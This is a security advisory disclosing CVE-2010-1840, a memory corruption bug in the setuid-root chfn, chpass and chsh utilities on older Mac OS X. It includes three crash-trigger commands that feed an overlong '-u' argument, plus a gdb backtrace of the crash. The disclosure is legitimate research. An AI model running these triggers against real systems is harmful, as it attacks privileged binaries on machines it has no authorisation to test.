Apple Directory Services Memory Corruption
CVE-2010-1840

INTRODUCTION

chfn, chpass and chsh dos not properly parse authname switch ("-u"), which causes the applications to crash when parsing a long string. Those binaries are setuid root by default.

This problem was confirmed in the following versions of Apple binaries and MacOS, other versions may be also affected:

Apple Mac OS X 10.5.8 32bits /usr/bin/chfn, /usr/bin/chpass, /usr/bin/chsh
Apple Mac OS X 10.6.2 64bits /usr/bin/chfn, /usr/bin/chpass, /usr/bin/chsh

CVSS Scoring System

The CVSS score is: 3.3
 Base Score: 4.2
 Temporal Score: 3.3
We used the following values to calculate the scores:
 Base score is: AV:L/AC:L/Au:R/C:C/I:C/A:C
 Temporal score is: E:POC/RL:OF/RC:C

TRIGGERING THE PROBLEM

/usr/bin/chfn -u `perl -e 'print "A" x 3000'`
/usr/bin/chsh -u `perl -e 'print "A" x 3000'`
/usr/bin/chpass -u `perl -e 'print "A" x 3000'`

DETAILS

Disassembly:

0x92237215 <CFArrayGetValueAtIndex+101>: mov    $0x28,%al
0x92237217 <CFArrayGetValueAtIndex+103>: cmp    $0xc,%ecx
0x9223721a <CFArrayGetValueAtIndex+106>: mov    $0x14,%dl
0x9223721c <CFArrayGetValueAtIndex+108>: cmovne %edx,%eax
0x9223721f <CFArrayGetValueAtIndex+111>: add    %esi,%eax
0x92237221 <CFArrayGetValueAtIndex+113>: mov    0xc(%ebp),%edx
0x92237224 <CFArrayGetValueAtIndex+116>: lea    (%eax,%edx,4),%eax
0x92237227 <CFArrayGetValueAtIndex+119>: mov    (%eax),%eax <----- Crash here.

(gdb) x/i $pc
0x92237227 <CFArrayGetValueAtIndex+119>: mov    (%eax),%eax
(gdb) i r $eax
eax            0x585d910 92657936
(gdb) bt
#0  0x92237227 in CFArrayGetValueAtIndex ()
#1  0x9225c46b in _CFBundleTryOnePreferredLprojNameInDirectory ()
#2  0x9225d80c in _CFBundleAddPreferredLprojNamesInDirectory ()
#3  0x9224b7b0 in _CFBundleGetLanguageSearchList ()
#4  0x9225d8da in _CFBundleAddPreferredLprojNamesInDirectory ()
#5  0x9224b7b0 in _CFBundleGetLanguageSearchList ()
#6  0x9225b50c in CFBundleCopyResourceURL ()
#7  0x9225bb32 in CFBundleCopyLocalizedString ()
#8  0x903633eb in _ODNodeSetCredentials ()
#9  0x90369813 in ODRecordSetNodeCredentials ()
#10 0x000044be in ?? ()
#11 0x000026ac in ?? ()
#12 0x000022ee in ?? ()

The MacOS Heap Protection mechanisms mitigates the impact of this vulnerability.

CREDITS

This vulnerability was researched by Rodrigo Rubira Branco from Check Point Vulnerability Discovery Team (VDT).

ACKNOWLEDGES

Many thanks to Rafael Silva who brought the issue in chfn binary to our attention.

--
Rodrigo Rubira Branco
Senior Security Researcher
Vulnerability Discovery Team (VDT)
Check Point Software Technologies
http://www.checkpoint.com/defense